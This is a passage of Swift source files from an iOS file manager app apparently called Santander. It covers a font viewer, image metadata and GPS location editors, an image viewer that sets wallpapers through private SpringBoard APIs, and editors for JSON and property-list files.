    "content": "//\n//  FontViewerController.swift\n//  Santander\n//\n//  Created by Serena on 03/09/2022.\n//\n\nimport UIKit\n\n/// A ViewController displaying a seleceted font, with a Text View to type text with the font\n/// and a slider to change the size of the font\nclass FontViewerController: UIViewController {\n    var selectedFont: UIFont\n    var descriptors: [CTFontDescriptor]\n    \n    var textView: UITextView!\n    var amountLabel: UILabel!\n    \n    init(selectedFont: UIFont, descriptors: [CTFontDescriptor]) {\n        self.selectedFont = selectedFont\n        self.descriptors = descriptors\n        super.init(nibName: nil, bundle: nil)\n        \n        self.title = selectedFont.familyName\n    }\n    \n    required init?(coder: NSCoder) {\n        fatalError(\"init(coder:) has not been implemented\")\n    }\n    \n    override func viewDidLoad() {\n        super.viewDidLoad()\n        navigationController?.navigationBar.prefersLargeTitles = false\n        \n        view.backgroundColor = .systemBackground\n        \n        setupRightBarButton()\n        \n        self.textView = UITextView()\n        textView.text = \"The quick brown fox jumps over the lazy dog and runs away.\"\n        textView.font = self.selectedFont\n        textView.inputAccessoryView = makeKeyboardToolbar(textView: textView)\n        textView.translatesAutoresizingMaskIntoConstraints = false\n        view.addSubview(textView)\n        \n        textView.constraintCompletely(to: view)\n        \n        configureNavigationBarToNormal()\n        setupBottomView()\n    }\n    \n    func setupRightBarButton() {\n        let presentInfoAction = UIAction {\n            if self.descriptors.count > 1 {\n                // if there is more than just one font\n                // display an action sheet to choose between those\n                let alert = UIAlertController(title: nil, message: nil, preferredStyle: .actionSheet)\n                let actions = self.descriptors.map { descriptor in\n                    let uiFont = descriptor.uiFont\n                    return UIAlertAction(title: uiFont.fontName, style: .default) { _ in\n                        let vc = FontInformationViewController(font: uiFont)\n                        self.present(UINavigationController(rootViewController: vc), animated: true)\n                    }\n                }\n                \n                for action in actions {\n                    alert.addAction(action)\n                }\n                \n                alert.addAction(.cancel())\n                self.present(alert, animated: true)\n            } else {\n                // else, if there's just one font in the URL, just present the info vc for that\n                let vc = FontInformationViewController(font: self.selectedFont)\n                self.present(UINavigationController(rootViewController: vc), animated: true)\n            }\n        }\n        \n        let infoButton = UIBarButtonItem(image: UIImage(systemName: \"info.circle\"), primaryAction: presentInfoAction)\n\n        // if there is more than one font descriptor\n        // that means we can select more than 1 font\n        // so, display a menu for choosing between those\n        if descriptors.count > 1 {\n            // the actions to change the selected font\n            let selectFontActions = descriptors.map { descr in\n                let uiFont = descr.uiFont\n                return UIAction(title: uiFont.fontName, state: uiFont == self.selectedFont ? .on : .off) { _ in\n                    self.selectedFont = uiFont.withSize(self.selectedFont.pointSize)\n                    self.updateFontSize(newSize: self.selectedFont.pointSize)\n                    self.setupRightBarButton()\n                }\n            }\n            \n            let selectFontMenu = UIMenu(children: selectFontActions)\n            navigationItem.rightBarButtonItems = [\n                UIBarButtonItem(title: \"Select font..\", menu: selectFontMenu),\n                infoButton\n            ]\n        } else {\n            // else, just display the info button and nothing else\n            navigationItem.rightBarButtonItem = infoButton\n        }\n    }\n    \n    func updateFontSize(newSize: CGFloat) {\n        UserPreferences.fontViewerFontSize = newSize\n        self.selectedFont = selectedFont.withSize(newSize)\n        self.textView.font = selectedFont\n        amountLabel.text = Int(newSize).description\n    }\n    \n    func setupBottomView() {\n        let newView = UIView()\n        newView.backgroundColor = .secondarySystemBackground\n        \n        // label displaying the current font size\n        self.amountLabel = UILabel()\n        amountLabel.text = Int(selectedFont.pointSize).description\n        \n        let slider = UISlider()\n        slider.maximumValue = 90\n        slider.value = Float(selectedFont.pointSize)\n        \n        let sliderChangedAction = UIAction {\n            self.updateFontSize(newSize: CGFloat(slider.value))\n        }\n        \n        slider.addAction(sliderChangedAction, for: .valueChanged)\n        \n        let stackView = UIStackView(arrangedSubviews: [slider, amountLabel])\n        stackView.translatesAutoresizingMaskIntoConstraints = false\n        stackView.spacing = 10\n        \n        newView.addSubview(stackView)\n        newView.translatesAutoresizingMaskIntoConstraints = false\n        view.addSubview(newView)\n        NSLayoutConstraint.activate([\n            newView.leadingAnchor.constraint(equalTo: view.leadingAnchor),\n            newView.trailingAnchor.constraint(equalTo: view.trailingAnchor),\n            newView.topAnchor.constraint(equalTo: view.safeAreaLayoutGuide.bottomAnchor, constant: -50),\n            newView.bottomAnchor.constraint(equalTo: view.safeAreaLayoutGuide.bottomAnchor),\n  \n            stackView.centerYAnchor.constraint(equalTo: newView.centerYAnchor),\n            stackView.leadingAnchor.constraint(equalTo: newView.layoutMarginsGuide.leadingAnchor),\n            stackView.trailingAnchor.constraint(equalTo: newView.layoutMarginsGuide.trailingAnchor),\n        ])\n        \n    }\n    \n    func makeKeyboardToolbar(textView: UITextView) -> UIToolbar {\n        let toolbar = UIToolbar()\n        let action = UIAction {\n            textView.resignFirstResponder()\n        }\n        \n        let doneButton = UIBarButtonItem(systemItem: .done, primaryAction: action)\n        \n        toolbar.setItems([.flexibleSpace(), doneButton], animated: true)\n        toolbar.sizeToFit()\n        return toolbar\n    }\n}\n"
  },
  {
    "path": "Santander/UI/Editors/Image/ImageLocationEditorViewController.swift",
    "content": "//\n//  ImageLocationEditorViewController.swift\n//  Santander\n//\n//  Created by Serena on 25/08/2022.\n//\n\nimport UIKit\nimport MapKit\nimport CoreLocation\n\nclass ImageLocationEditorViewController: UIViewController, MKMapViewDelegate {\n    let fileURL: URL\n    let metadata: ImageMetadata\n    // used to update the metadata if changed\n    let metadataSenderVC: ImageMetadataViewController\n    \n    var mapView: MKMapView!\n    var annotation: MKPointAnnotation!\n    \n    init(metadata: ImageMetadata, metadataSenderVC: ImageMetadataViewController, fileURL: URL) {\n        self.metadata = metadata\n        self.fileURL = fileURL\n        self.metadataSenderVC = metadataSenderVC\n        \n        super.init(nibName: nil, bundle: nil)\n    }\n    \n    required init?(coder: NSCoder) {\n        fatalError()\n    }\n    \n    override func viewDidLoad() {\n        super.viewDidLoad()\n        \n        title = \"Location\"\n        \n        let dismissAction = UIAction {\n            self.dismiss(animated: true)\n        }\n        \n        navigationItem.leftBarButtonItem = UIBarButtonItem(title: \"Dismiss\", primaryAction: dismissAction)\n        \n        mapView = MKMapView()\n        mapView.translatesAutoresizingMaskIntoConstraints = false\n        mapView.delegate = self\n        \n        annotation = MKPointAnnotation()\n        \n        mapView.addAnnotation(annotation)\n        \n        view.addSubview(mapView)\n        \n        mapView.constraintCompletely(to: view)\n        \n        if let center = metadata.location.coordinate {\n            annotation.coordinate = center\n            // set the location on the map to be the image's location\n            mapView.setRegion(MKCoordinateRegion(center: center, span: .init()), animated: true)\n        }\n        \n        configureNavigationBarToNormal()\n        setRightBarButton()\n        setupToolbar()\n    }\n    \n    func setRightBarButton() {\n        // edit if not editing,\n        // and end editing if already doing editing\n        let action = UIAction {\n            self.setEditing(!self.isEditing, animated: true)\n        }\n        \n        navigationItem.rightBarButtonItem = UIBarButtonItem(\n            systemItem: isEditing ? .done : .edit,\n            primaryAction: action\n        )\n    }\n    \n    override func setEditing(_ editing: Bool, animated: Bool) {\n        super.setEditing(editing, animated: animated)\n        \n        setRightBarButton()\n        \n        if !editing {\n            // finalize editing, set location chosen\n            setImageLocation(nullify: false)\n        } else {\n            // add back annotation, if necessary\n            mapView.addAnnotation(annotation)\n        }\n    }\n    \n    func mapView(_ mapView: MKMapView, viewFor annotation: MKAnnotation) -> MKAnnotationView? {\n        guard let anno = self.annotation else {\n            return nil\n        }\n        \n        let view = MKPinAnnotationView(annotation: anno, reuseIdentifier: \"DraggablePin\")\n        view.isDraggable = true\n        return view\n    }\n    \n    func moveAnnotation(_ mapView: MKMapView) {\n        // Central coordinates of the map when editing location\n        if isEditing {\n            annotation.coordinate = mapView.centerCoordinate\n        }\n    }\n    \n    /// Sets the image location in the metadata\n    func setImageLocation(nullify: Bool) {\n        let coordinate = annotation.coordinate\n        var newGPSDict = (metadata.dictionary[kCGImagePropertyGPSDictionary as String] as? [String: Any?]) ?? [:]\n        if nullify {\n            newGPSDict[kCGImagePropertyGPSLatitude as String] = nil\n            newGPSDict[kCGImagePropertyGPSLongitude as String] = nil\n            metadata.location = ImageLocation(lat: nil, long: nil)\n        } else {\n            newGPSDict[kCGImagePropertyGPSLatitude as String] = coordinate.latitude\n            newGPSDict[kCGImagePropertyGPSLongitude as String] = coordinate.longitude\n            metadata.location = ImageLocation(lat: coordinate.latitude, long: coordinate.longitude)\n        }\n        \n        var copy = metadata.dictionary\n        copy[kCGImagePropertyGPSDictionary as String] = newGPSDict\n        \n        // did succeed in setting the properties\n        let didSucceed = metadata.setProperties(toDictionary: copy, forFileURL: fileURL)\n        if !didSucceed {\n            errorAlert(\"\", title: \"Unable to set location of image\")\n        } else {\n            metadataSenderVC.metadata = .init(dictionary: copy)\n            metadataSenderVC.tableView.reloadData()\n            if nullify {\n                mapView.removeAnnotation(annotation)\n            }\n        }\n        self.setupToolbar()\n    }\n    \n    func mapView(_ mapView: MKMapView, regionDidChangeAnimated animated: Bool) {\n        moveAnnotation(mapView)\n    }\n    \n    func setupToolbar() {\n        // here, we setup the trash button\n        // in case the user wants to nullify the location\n        // of the image\n        \n        let action = UIAction {\n            // confirm if the user wants to remove it\n            let alert = UIAlertController(title: \"Remove image location?\", message: nil, preferredStyle: .actionSheet)\n            let removeAction = UIAlertAction(title: \"Remove\", style: .destructive) { _ in\n                self.setImageLocation(nullify: true)\n            }\n            \n            alert.addAction(removeAction)\n            alert.addAction(.cancel())\n            self.present(alert, animated: true)\n        }\n        \n        let trashButton = UIBarButtonItem(image: UIImage(systemName: \"trash\"), primaryAction: action)\n        // enable trash button only if location isnt nil\n        trashButton.isEnabled = metadata.location.coordinate != nil\n        trashButton.tintColor = .systemRed\n        \n        navigationController?.setToolbarHidden(false, animated: true)\n        self.toolbarItems = [trashButton]\n    }\n}\n"
  },
  {
    "path": "Santander/UI/Editors/Image/ImageMetadataViewController.swift",
    "content": "//\n//  ImageMetadataViewController.swift\n//  Santander\n//\n//  Created by Serena on 24/08/2022.\n//\n\nimport UIKit\n\n/// A ViewController displaying the metadata of an image\nclass ImageMetadataViewController: UITableViewController {\n    var metadata: ImageMetadata\n    let fileURL: URL\n    \n    init(metadata: ImageMetadata, fileURL: URL) {\n        self.metadata = metadata\n        self.fileURL = fileURL\n        \n        super.init(style: .userPreferred)\n    }\n    \n    required init?(coder: NSCoder) {\n        fatalError(\"init(coder:) has not been implemented\")\n    }\n    \n    override func numberOfSections(in tableView: UITableView) -> Int {\n        return 4\n    }\n    \n    override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {\n        switch section {\n        case 0, 1: return 3\n        case 2, 3: return 2\n        default: fatalError()\n        }\n    }\n    \n    override func viewDidLoad() {\n        super.viewDidLoad()\n        \n        self.title = \"Metadata\"\n    }\n    \n    override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {\n        let cell = UITableViewCell(style: .value1, reuseIdentifier: nil)\n        var conf = cell.defaultContentConfiguration()\n        \n        defer {\n            cell.contentConfiguration = conf\n        }\n        \n        switch (indexPath.section, indexPath.row) {\n        case (0, 0):\n            conf.text = \"Pixel Height\"\n            conf.secondaryText = metadata.pixelHeight?.description ?? \"N/A\"\n        case (0, 1):\n            conf.text = \"Pixel Width\"\n            conf.secondaryText = metadata.pixelWidth?.description ?? \"N/A\"\n        case (0, 2):\n            let datePicker = UIDatePicker()\n            if let dateTaken = metadata.dateTimeTaken {\n                datePicker.setDate(dateTaken, animated: true)\n            }\n            \n            let action = UIAction {\n                self.setNewDate(withDatePicker: datePicker)\n            }\n            \n            // add the action for .editingDidEnd\n            // and not for valueChanged\n            // in order to avoid writing to the file a lot more than needed\n            datePicker.addAction(action, for: .editingDidEnd)\n            return cellWithView(datePicker, text: \"Date\", rightAnchorConstant: -5)\n        case (1, 0):\n            conf.text = \"Camera Model\"\n            conf.secondaryText = metadata.cameraInfo?.model ?? \"N/A\"\n        case (1, 1):\n            conf.text = \"Camera Manufacturer\"\n            conf.secondaryText = metadata.cameraInfo?.manufacturer ?? \"N/A\"\n        case (1, 2):\n            conf.text = \"Camera Software\"\n            conf.secondaryText = metadata.cameraInfo?.softwareVersion ?? \"N/A\"\n        case (2, 0):\n            conf.text = \"Lens Model\"\n            conf.secondaryText = metadata.exifInfo?.lensModel ?? \"N/A\"\n        case (2, 1):\n            conf.text = \"Lens Manufacturer\"\n            conf.secondaryText = metadata.exifInfo?.lensManufacturer ?? \"N/A\"\n        case (3, 0):\n            conf.text = \"Latitude\"\n            conf.secondaryText = metadata.location.lat?.description ?? \"N/A\"\n        case (3, 1):\n            conf.text = \"Longitude\"\n            conf.secondaryText = metadata.location.long?.description ?? \"N/A\"\n        default:\n            break\n        }\n        \n        return cell\n    }\n    \n    override func tableView(_ tableView: UITableView, shouldHighlightRowAt indexPath: IndexPath) -> Bool {\n        return false\n    }\n    \n    func headerTitle(forSection section: Int) -> String {\n        switch section {\n        case 0:\n            return \"General\"\n        case 1:\n            return \"Camera\"\n        case 2:\n            return \"Lens\"\n        case 3:\n            return \"Location\"\n        default:\n            fatalError()\n        }\n    }\n    \n    /// Called when the date is changed on the date picker\n    func setNewDate(withDatePicker datePicker: UIDatePicker) {\n        let exifFormattedDate = DateFormatter.EXIFDateFormatter.string(from: datePicker.date)\n        let iptcFormattedDate = DateFormatter.IPTCDateFormatter.string(from: datePicker.date)\n        var copy = metadata.dictionary\n        \n        // modify tiff dictionary\n        var tiffDictionary = (copy[kCGImagePropertyTIFFDictionary as String] as? [String: Any]) ?? [:]\n        tiffDictionary[kCGImagePropertyTIFFDateTime as String] = exifFormattedDate\n        \n        // modify EXIF dictionary\n        var exifDictionary = (copy[kCGImagePropertyExifDictionary as String] as? [String: Any]) ?? [:]\n        exifDictionary[kCGImagePropertyExifDateTimeOriginal as String] = exifFormattedDate\n        exifDictionary[kCGImagePropertyExifDateTimeDigitized as String] = exifFormattedDate\n        \n        // modify IPTC dictionary\n        var iptcDictionary = (copy[kCGImagePropertyIPTCDictionary as String] as? [String: Any]) ?? [:]\n        iptcDictionary[kCGImagePropertyIPTCDateCreated as String] = iptcFormattedDate\n        \n        copy[kCGImagePropertyTIFFDictionary as String] = tiffDictionary\n        copy[kCGImagePropertyExifDictionary as String] = exifDictionary\n        copy[kCGImagePropertyIPTCDictionary as String] = iptcDictionary\n        \n        if !metadata.setProperties(toDictionary: copy, forFileURL: fileURL) {\n            errorAlert(\"\", title: \"Unable to set date of image\")\n        }\n    }\n    \n    override func tableView(_ tableView: UITableView, viewForHeaderInSection section: Int) -> UIView? {\n        return sectionHeaderWithButton(sectionTag: section, titleText: headerTitle(forSection: section)) { button in\n            guard section == 3 else {\n                button.isHidden = true\n                return\n            }\n\n            let action = UIAction { _ in\n                self.presentMapEditor()\n            }\n\n            button.setTitle(\"View\", for: .normal)\n            button.setTitleColor(.systemBlue, for: .normal)\n            button.addAction(action, for: .touchUpInside)\n        }\n    }\n    \n    override func tableView(_ tableView: UITableView, heightForHeaderInSection section: Int) -> CGFloat {\n        return 40\n    }\n    \n    func presentMapEditor() {\n        let vc = ImageLocationEditorViewController(metadata: metadata, metadataSenderVC: self, fileURL: fileURL)\n        let navVC = UINavigationController(rootViewController: vc)\n        navVC.modalPresentationStyle = .fullScreen\n        self.present(navVC, animated: true)\n    }\n}\n"
  },
  {
    "path": "Santander/UI/Editors/Image/ImageViewerController.swift",
    "content": "//\n//  ImageViewerController.swift\n//  Santander\n//\n//  Created by Serena on 21/08/2022.\n//\n\nimport UIKit\nimport ObjectiveC\nimport PDFKit // Hacky workaround, but PDFView is the best way to display the image due to the built in scroll view support\n\n/// A ViewController displaying a UIImage\nclass ImageViewerController: UIViewController {\n    let fileURL: URL?\n    let image: UIImage\n    var metadata: ImageMetadata?\n    \n    /// The signature of the function used to set the wallpaper\n    /// by SpringBoardUIServices\n    typealias SetWallpaperFunction = @convention(c) (_: NSDictionary, _: NSDictionary, _: Int, _: Int) -> Int\n    \n    init(fileURL: URL?, image: UIImage, title: String? = nil) {\n        self.fileURL = fileURL\n        self.image = image\n        \n        super.init(nibName: nil, bundle: nil)\n        self.title = fileURL?.lastPathComponent ?? title\n    }\n    \n    convenience init?(fileURL: URL) {\n        guard let image = UIImage(contentsOfFile: fileURL.path) else {\n            return nil\n        }\n        \n        self.init(fileURL: fileURL, image: image)\n    }\n    \n    required init?(coder: NSCoder) {\n        fatalError(\"init(coder:) has not been implemented\")\n    }\n    \n    override func viewDidLoad() {\n        super.viewDidLoad()\n        // note: - don't move this to the init,\n        // because we only want to assign this once the view loaded\n        if let fileURL = fileURL {\n            self.metadata = ImageMetadata(fileURL: fileURL)\n        }\n        \n        view.backgroundColor = .systemBackground\n        \n        let doneAction = UIAction { _ in\n            self.dismiss(animated: true)\n        }\n        \n        \n        let doneButton = UIBarButtonItem(systemItem: .done, primaryAction: doneAction)\n        let infoButton = UIBarButtonItem()\n        \n        if let metadata = self.metadata, let fileURL = fileURL {\n            let infoAction = UIAction { _ in\n                let vc = ImageMetadataViewController(metadata: metadata, fileURL: fileURL)\n                self.present(UINavigationController(rootViewController: vc), animated: true)\n            }\n            \n            infoButton.primaryAction = infoAction\n        } else {\n            infoButton.isEnabled = false\n        }\n        \n        // when assinging the primaryAction of the button, the image becomes nil?\n        // so we assign it here, rather than at initialization of infoButton\n        infoButton.image = UIImage(systemName: \"info.circle\")\n        \n        navigationItem.rightBarButtonItem = doneButton\n        navigationItem.leftBarButtonItem = infoButton\n        \n        if let pdfPage = PDFPage(image: image) {\n            let pdfView = PDFView(frame: self.view.bounds)\n            pdfView.displayDirection = .vertical\n            pdfView.displayMode = .singlePage\n            pdfView.backgroundColor = .systemBackground\n            \n            let pdfDoc = PDFDocument()\n            pdfDoc.insert(pdfPage, at: 0)\n            \n            pdfView.document = pdfDoc\n            pdfView.autoScales = true\n            pdfView.minScaleFactor = pdfView.scaleFactorForSizeToFit\n            \n            self.view = pdfView\n        } else {\n            setupFailedLabel()\n        }\n        \n        configureNavigationBarToNormal()\n        setupToolbar()\n    }\n    \n    func setupFailedLabel() {\n        let failedLabel = UILabel()\n        failedLabel.text = \"Failed to display image.\"\n        failedLabel.textColor = .systemGray\n        failedLabel.translatesAutoresizingMaskIntoConstraints = false\n        view.addSubview(failedLabel)\n        \n        NSLayoutConstraint.activate([\n            failedLabel.centerXAnchor.constraint(equalTo: self.view.centerXAnchor),\n            failedLabel.centerYAnchor.constraint(equalTo: self.view.centerYAnchor)\n        ])\n    }\n    \n    \n    func setupToolbar() {\n        let shareMenuAction = UIAction {\n            if let fileURL = self.fileURL {\n                self.presentActivityVC(forItems: [fileURL])\n            } else {\n                self.presentActivityVC(forItems: [self.image])\n            }\n        }\n        \n        let shareMenuButton = UIBarButtonItem(image: UIImage(systemName: \"square.and.arrow.up\"), primaryAction: shareMenuAction)\n        let saveImageAction = UIAction(title: \"Save Image\") { _ in\n            self.saveImage(self.image)\n        }\n        \n        // the places to set the wallpaper, represented by a UIAction\n        let setWallpaperActions = WallpaperDestination.allCases.map { location in\n            return UIAction(title: location.description) { _ in\n                self.setImageAsWallpaper(to: location)\n            }\n        }\n        \n        let setAsWallpaperMenu = UIMenu(title: \"Set as wallpaper for..\", children: setWallpaperActions)\n        \n        let actionsMenu = UIMenu(children: [saveImageAction, setAsWallpaperMenu])\n        self.toolbarItems = [shareMenuButton, .flexibleSpace(), UIBarButtonItem(image: UIImage(systemName: \"ellipsis.circle\"), menu: actionsMenu)]\n        self.navigationController?.setToolbarHidden(false, animated: true)\n    }\n    \n    func setImageAsWallpaper(to location: WallpaperDestination) {\n        // for SBFWallpaperOptions\n        let sbF = dlopen(\"/System/Library/PrivateFrameworks/SpringBoardFoundation.framework/SpringBoardFoundation\", RTLD_LAZY)\n        // for SBSUIWallpaperSetImages\n        let sbServer = dlopen(\"/System/Library/PrivateFrameworks/SpringBoardUIServices.framework/SpringBoardUIServices\", RTLD_LAZY)\n        \n        defer {\n            dlclose(sbF)\n            dlclose(sbServer)\n        }\n        \n        guard let options = NSClassFromString(\"SBFWallpaperOptions\")?.alloc(),\n              let pointer = dlsym(sbServer, \"SBSUIWallpaperSetImages\"),\n              let setWallpaper = unsafeBitCast(pointer, to: (SetWallpaperFunction)?.self)\n        else {\n            errorAlert(nil, title: \"Unable to set image as wallpaper\")\n            return\n        }\n        \n        let imagesDict = [\n            \"light\": image,\n            \"dark\": image\n        ]\n        \n        let optionsDict = [\n            \"light\" : options,\n            \"dark\": options\n        ]\n        \n        let result = setWallpaper(NSDictionary(dictionary: imagesDict), NSDictionary(dictionary: optionsDict), location.rawValue, traitCollection.userInterfaceStyle.rawValue)\n        // 1 is success\n        if result != 1 {\n            errorAlert(\"SBSUIWallpaperSetImages returned status code \\(result) (should be 1)\", title: \"Unable to set image as wallpaper\")\n        }\n    }\n    \n    /// The places where an image can be set as the Wallpaper\n    /// The integer values here are passed directly to `SBSUIWallpaperSetImages`\n    enum WallpaperDestination: Int, CustomStringConvertible, CaseIterable {\n        static let allCases: [WallpaperDestination] = [.homeScreen, .lockScreen, .both]\n        \n        case lockScreen = 1\n        case homeScreen = 2\n        case both = 3\n        \n        var description: String {\n            switch self {\n            case .lockScreen:\n                return \"Lock Screen\"\n            case .homeScreen:\n                return \"Home Screen\"\n            case .both:\n                return \"Home Screen & Lock Screen\"\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Santander/UI/Editors/Serialized/SerializedArrayViewController.swift",
    "content": "//\n//  SerializedArrayViewController.swift\n//  Santander\n//\n//  Created by Serena on 18/08/2022.\n//\n\nimport UIKit\n\nclass SerializedArrayViewController: UITableViewController {\n    var array: Array<Any>\n    let type: SerializedDocumentViewerType\n    let fileURL: URL?\n    let canEdit: Bool\n    var parentController: SerializedControllerParent?\n    \n    init(\n        array: Array<Any>,\n        type: SerializedDocumentViewerType,\n        parentController: SerializedControllerParent?,\n        title: String?,\n        fileURL: URL?,\n        canEdit: Bool\n    ) {\n        self.array = array\n        self.type = type\n        self.fileURL = fileURL\n        self.canEdit = canEdit\n        self.parentController = parentController\n        \n        super.init(style: .userPreferred)\n        self.title = title\n    }\n    \n    required init?(coder: NSCoder) {\n        fatalError(\"init(coder:) has not been implemented\")\n    }\n    \n    override func numberOfSections(in tableView: UITableView) -> Int {\n        return 1\n    }\n    \n    override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {\n        return array.count\n    }\n    \n    override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {\n        let cell = UITableViewCell()\n        var conf = cell.defaultContentConfiguration()\n        let item = array[indexPath.row]\n        \n        if item as? Array<Any> != nil {\n            conf.text = \"Array (Index \\(indexPath.row))\"\n            cell.accessoryType = .disclosureIndicator\n        } else if item as? [String: Any] != nil {\n            conf.text = \"Dictionary (Index \\(indexPath.row))\"\n            cell.accessoryType = .disclosureIndicator\n        } else {\n            conf.text = SerializedItemType(item: item).description\n        }\n        \n        cell.contentConfiguration = conf\n        return cell\n    }\n    \n    override func tableView(_ tableView: UITableView, shouldHighlightRowAt indexPath: IndexPath) -> Bool {\n        return true\n    }\n    \n    override func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {\n        if let arr = array[indexPath.row] as? Array<Any> {\n            let title = \"Array (Index \\(indexPath.row))\"\n            let vc = SerializedArrayViewController(\n                array: arr,\n                type: type,\n                parentController: .array(self),\n                title: title,\n                fileURL: fileURL,\n                canEdit: canEdit\n            )\n            \n            navigationController?.pushViewController(vc, animated: true)\n        } else if let dict = array[indexPath.row] as? [String: Any] {\n            let serializedDict = dict.asSerializedDictionary()\n            \n            let title = \"Dictionary (Index \\(indexPath.row))\"\n            let vc = SerializedDocumentViewController(dictionary: serializedDict, type: type, title: title, fileURL: fileURL, parentController: .array(self), canEdit: true)\n            navigationController?.pushViewController(vc, animated: true)\n        } else {\n            tableView.deselectRow(at: indexPath, animated: true)\n        }\n    }\n    \n    override func tableView(_ tableView: UITableView, trailingSwipeActionsConfigurationForRowAt indexPath: IndexPath) -> UISwipeActionsConfiguration? {\n        guard canEdit else {\n            return nil\n        }\n        \n        let removeAction = UIContextualAction(style: .destructive, title: nil) { _, _, completion in\n            var newArr = self.array\n            newArr.remove(at: indexPath.row)\n            \n            if self.writeToFile(newArray: newArr) {\n                tableView.deleteRows(at: [indexPath], with: .fade)\n                completion(true)\n            } else {\n                completion(false)\n            }\n        }\n        \n        removeAction.image = .remove\n        return UISwipeActionsConfiguration(actions: [removeAction])\n    }\n    \n    func writeToFile(newArray: Array<Any>) -> Bool {\n        \n        // if this array controller comes from a parent,\n        // edit the array / dictionary in the parent to the new array given in the parameters\n        if let parentController = parentController {\n            let didSucceed: Bool\n            \n            switch parentController {\n            case .dictionary(let parent):\n                var parentDict = parent.serializedDict\n                let key = parentDict.first { (_, value) in\n                    value == .array(self.array)\n                }?.key\n                \n                guard let key = key else {\n                    return false\n                }\n                \n                parentDict[key] = .array(newArray)\n                didSucceed = parent.writeToFile(newDict: parentDict)\n            case .array(let parent):\n                var parentArr = parent.array\n                let indx = parentArr.firstIndex { item in\n                    guard let item = item as? Array<Any> else {\n                        return false\n                    }\n                    \n                    return NSArray(array: self.array) == NSArray(array: item)\n                }\n                \n                guard let indx = indx else {\n                    return false\n                }\n                \n                parentArr[indx] = newArray\n                didSucceed = parent.writeToFile(newArray: parentArr)\n            }\n            \n            if didSucceed {\n                self.array = newArray\n            }\n            \n            return didSucceed\n        }\n        \n        // writing to root of file\n        guard let fileURL = fileURL else {\n            return false\n        }\n        \n        do {\n            let newSerializedData: Data\n            switch type {\n            case .json:\n                newSerializedData = try JSONSerialization.data(withJSONObject: newArray)\n            case .plist(let format):\n                guard let format = format else {\n                    return false\n                }\n                \n                newSerializedData = try PropertyListSerialization.data(fromPropertyList: newArray, format: format, options: 0)\n            }\n            \n            try FSOperation.perform(.writeData(url: fileURL, data: newSerializedData), rootHelperConf: RootConf.shared)\n            self.array = newArray\n            return true\n        } catch {\n            self.errorAlert(error, title: \"Unable to write to file\")\n            return false\n        }\n    }\n}\n"
  },
  {
    "path": "Santander/UI/Editors/Serialized/SerializedDocumentViewController.swift",
    "content": "//\n//  SerializedDocumentViewController.swift\n//  Santander\n//\n//  Created by Serena on 16/08/2022.\n//\n\nimport UIKit\n\ntypealias SerializedDictionaryType = [String: SerializedItemType]\n\n/// A ViewController which displays the contents of a PropertyList or JSON file\nclass SerializedDocumentViewController: UITableViewController, SerializedItemViewControllerDelegate {\n    \n    var serializedDict: SerializedDictionaryType\n    \n    var filteredDict: SerializedDictionaryType = [:]\n    \n    var keys: [String] {\n        let keysArr = Array(isSearching ? filteredDict.keys : serializedDict.keys)\n        return keysArr\n    }\n    \n    var fileURL: URL?\n    var canEdit: Bool\n    var isSearching: Bool = false\n    let type: SerializedDocumentViewerType\n    let parentController: SerializedControllerParent?\n    \n    init(\n        dictionary: SerializedDictionaryType,\n        type: SerializedDocumentViewerType,\n        title: String,\n        fileURL: URL? = nil,\n        parentController: SerializedControllerParent?,\n        canEdit: Bool\n    ) {\n        self.serializedDict = dictionary\n        self.type = type\n        self.fileURL = fileURL\n        self.canEdit = canEdit\n        self.parentController = parentController\n        \n        super.init(style: .userPreferred)\n        self.title = title\n    }\n    \n    \n    override func viewDidLoad() {\n        super.viewDidLoad()\n        \n        navigationItem.rightBarButtonItem = UIBarButtonItem(systemItem: .done, primaryAction: UIAction(withClosure: dismissVC))\n        let searchController = UISearchController()\n        searchController.searchBar.delegate = self\n        navigationItem.searchController = searchController\n        navigationItem.hidesSearchBarWhenScrolling = !UserPreferences.alwaysShowSearchBar\n    }\n    \n    convenience init?(\n        type: SerializedDocumentViewerType,\n        fileURL: URL,\n        data: Data,\n        canEdit: Bool\n    ) {\n        \n        switch type {\n        case .json:\n            guard let json = try? JSONSerialization.jsonObject(with: data) as? [String: Any] else {\n                return nil\n            }\n            \n            let newDict = json.asSerializedDictionary()\n            self.init(dictionary: newDict, type: .json, title: fileURL.lastPathComponent, fileURL: fileURL, parentController: nil, canEdit: canEdit)\n        case .plist(_):\n            let fmt: UnsafeMutablePointer<PropertyListSerialization.PropertyListFormat>? = .allocate(capacity: 4)\n            defer {\n                fmt?.deallocate()\n            }\n            \n            guard let plist = try? PropertyListSerialization.propertyList(from: data, format: fmt) as? [String: Any] else {\n                return nil\n            }\n            \n            let newDict = plist.asSerializedDictionary()\n            \n            self.init(dictionary: newDict, type: .plist(format: fmt?.pointee), title: fileURL.lastPathComponent, fileURL: fileURL, parentController: nil, canEdit: canEdit)\n        }\n    }\n    \n    required init?(coder: NSCoder) {\n        fatalError(\"init(coder:) has not been implemented\")\n    }\n    \n    override func numberOfSections(in tableView: UITableView) -> Int {\n        return 1\n    }\n    \n    override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {\n        return keys.count\n    }\n    \n    override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {\n        let cell = UITableViewCell(style: .value2, reuseIdentifier: nil)\n        var conf = cell.defaultContentConfiguration()\n        let text = keys[indexPath.row]\n        \n        conf.text = text\n        let elem = dictElement(forKey: text)\n        \n        switch elem {\n        case .dictionary(_), .array(_):\n            cell.accessoryType = .disclosureIndicator\n        default:\n            cell.accessoryType = .detailButton\n        }\n        \n        conf.secondaryText = valueDescription(forElement: elem)\n        cell.contentConfiguration = conf\n        return cell\n    }\n    \n    func dismissVC() {\n        self.dismiss(animated: true)\n    }\n    \n    /// Present the SerializedDocumentViewController for a specified indexPath\n    func presentViewController(forIndexPath indexPath: IndexPath) {\n        let text = keys[indexPath.row]\n        let elem = dictElement(forKey: text)!\n        \n        if case .array(let arr) = elem {\n            let vc = SerializedArrayViewController(array: arr, type: type, parentController: .dictionary(self), title: text, fileURL: fileURL, canEdit: canEdit)\n            self.navigationController?.pushViewController(vc, 